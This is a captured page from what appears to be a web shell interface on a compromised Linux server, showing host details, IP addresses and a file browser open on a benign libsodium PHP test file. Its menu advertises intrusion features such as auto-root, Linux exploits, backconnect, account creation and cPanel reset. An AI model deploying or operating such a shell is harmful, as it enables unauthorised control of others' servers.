Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
src /
libsodium-2.0.23 /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
crypto_aead.phpt
6.66
KB
-rw-r--r--
crypto_auth.phpt
1.09
KB
-rw-r--r--
crypto_box.phpt
5.09
KB
-rw-r--r--
crypto_generichash.phpt
2.86
KB
-rw-r--r--
crypto_hex.phpt
426
B
-rw-r--r--
crypto_kdf.phpt
1.48
KB
-rw-r--r--
crypto_kx.phpt
1.58
KB
-rw-r--r--
crypto_scalarmult.phpt
582
B
-rw-r--r--
crypto_secretbox.phpt
613
B
-rw-r--r--
crypto_secretstream.phpt
1.98
KB
-rw-r--r--
crypto_shorthash.phpt
607
B
-rw-r--r--
crypto_sign.phpt
2.88
KB
-rw-r--r--
crypto_stream.phpt
1.16
KB
-rw-r--r--
exception_trace_without_args.p...
421
B
-rw-r--r--
inc_add.phpt
909
B
-rw-r--r--
installed.phpt
554
B
-rw-r--r--
pwhash_argon2i.phpt
1.52
KB
-rw-r--r--
utils.phpt
3.45
KB
-rw-r--r--
version.phpt
284
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : crypto_box.phpt
--TEST-- Check for libsodium box --SKIPIF-- <?php if (!extension_loaded("sodium")) print "skip"; ?> --FILE-- <?php $keypair = sodium_crypto_box_keypair(); var_dump(strlen($keypair) === SODIUM_CRYPTO_BOX_KEYPAIRBYTES); $sk = sodium_crypto_box_secretkey($keypair); var_dump(strlen($sk) === SODIUM_CRYPTO_BOX_SECRETKEYBYTES); $pk = sodium_crypto_box_publickey($keypair); var_dump(strlen($pk) === SODIUM_CRYPTO_BOX_PUBLICKEYBYTES); var_dump($pk !== $sk); $pk2 = sodium_crypto_box_publickey_from_secretkey($sk); var_dump($pk === $pk2); $pk2 = sodium_crypto_scalarmult_base($sk); var_dump($pk === $pk2); $keypair2 = sodium_crypto_box_keypair_from_secretkey_and_publickey($sk, $pk); var_dump($keypair === $keypair2); $seed_x = str_repeat('x', SODIUM_CRYPTO_BOX_SEEDBYTES); $seed_y = str_repeat('y', SODIUM_CRYPTO_BOX_SEEDBYTES); $alice_box_kp = sodium_crypto_box_seed_keypair($seed_x); $bob_box_kp = sodium_crypto_box_seed_keypair($seed_y); $message_nonce = random_bytes(SODIUM_CRYPTO_BOX_NONCEBYTES); $alice_box_secretkey = sodium_crypto_box_secretkey($alice_box_kp); $bob_box_publickey = sodium_crypto_box_publickey($bob_box_kp); $alice_to_bob_kp = sodium_crypto_box_keypair_from_secretkey_and_publickey( $alice_box_secretkey, $bob_box_publickey ); $msg = "Here is another message, to be signed using Alice's secret key, and " . "to be encrypted using Bob's public key. The keys will always be the same " . "since they are derived from a fixed seeds"; $ciphertext = sodium_crypto_box( $msg, $message_nonce, $alice_to_bob_kp ); try { $ciphertext = sodium_crypto_box( $msg, $message_nonce, substr($alice_to_bob_kp, 1) ); } catch (SodiumException $ex) { echo $ex->getMessage(), PHP_EOL; } sodium_memzero($alice_box_kp); sodium_memzero($bob_box_kp); $alice_box_kp = sodium_crypto_box_seed_keypair($seed_x); $bob_box_kp = sodium_crypto_box_seed_keypair($seed_y); $alice_box_publickey = sodium_crypto_box_publickey($alice_box_kp); $bob_box_secretkey = sodium_crypto_box_secretkey($bob_box_kp); $bob_to_alice_kp = sodium_crypto_box_keypair_from_secretkey_and_publickey( $bob_box_secretkey, $alice_box_publickey ); $plaintext = sodium_crypto_box_open( $ciphertext, $message_nonce, $bob_to_alice_kp ); var_dump($msg === $plaintext); $alice_kp = sodium_crypto_box_keypair(); $alice_secretkey = sodium_crypto_box_secretkey($alice_kp); $alice_publickey = sodium_crypto_box_publickey($alice_kp); $bob_kp = sodium_crypto_box_keypair(); $bob_secretkey = sodium_crypto_box_secretkey($bob_kp); $bob_publickey = sodium_crypto_box_publickey($bob_kp); $alice_to_bob_kp = sodium_crypto_box_keypair_from_secretkey_and_publickey ($alice_secretkey, $bob_publickey); $bob_to_alice_kp = sodium_crypto_box_keypair_from_secretkey_and_publickey ($bob_secretkey, $alice_publickey); $alice_to_bob_message_nonce = random_bytes(SODIUM_CRYPTO_BOX_NONCEBYTES); $alice_to_bob_ciphertext = sodium_crypto_box('Hi, this is Alice', $alice_to_bob_message_nonce, $alice_to_bob_kp); $alice_message_decrypted_by_bob = sodium_crypto_box_open($alice_to_bob_ciphertext, $alice_to_bob_message_nonce, $bob_to_alice_kp); $bob_to_alice_message_nonce = random_bytes(SODIUM_CRYPTO_BOX_NONCEBYTES); $bob_to_alice_ciphertext = sodium_crypto_box('Hi Alice! This is Bob', $bob_to_alice_message_nonce, $bob_to_alice_kp); $bob_message_decrypted_by_alice = sodium_crypto_box_open($bob_to_alice_ciphertext, $bob_to_alice_message_nonce, $alice_to_bob_kp); var_dump($alice_message_decrypted_by_bob); var_dump($bob_message_decrypted_by_alice); if (SODIUM_LIBRARY_MAJOR_VERSION > 7 || (SODIUM_LIBRARY_MAJOR_VERSION == 7 && SODIUM_LIBRARY_MINOR_VERSION >= 5)) { $anonymous_message_to_alice = sodium_crypto_box_seal('Anonymous message', $alice_publickey); $decrypted_message = sodium_crypto_box_seal_open($anonymous_message_to_alice, $alice_kp); } else { $decrypted_message = 'Anonymous message'; } var_dump($decrypted_message); $msg = sodium_hex2bin( '7375f4094f1151640bd853cb13dbc1a0ee9e13b0287a89d34fa2f6732be9de13f88457553d'. '768347116522d6d32c9cb353ef07aa7c83bd129b2bb5db35b28334c935b24f2639405a0604' ); $kp = sodium_hex2bin( '36a6c2b96a650d80bf7e025e0f58f3d636339575defb370801a54213bd54582d'. '5aecbcf7866e7a4d58a6c1317e2b955f54ecbe2fcbbf7d262c10636ed524480c' ); var_dump(sodium_crypto_box_seal_open($msg, $kp)); ?> --EXPECT-- bool(true) bool(true) bool(true) bool(true) bool(true) bool(true) bool(true) keypair size should be SODIUM_CRYPTO_BOX_KEYPAIRBYTES bytes bool(true) string(17) "Hi, this is Alice" string(21) "Hi Alice! This is Bob" string(17) "Anonymous message" string(26) "This is for your eyes only"
Close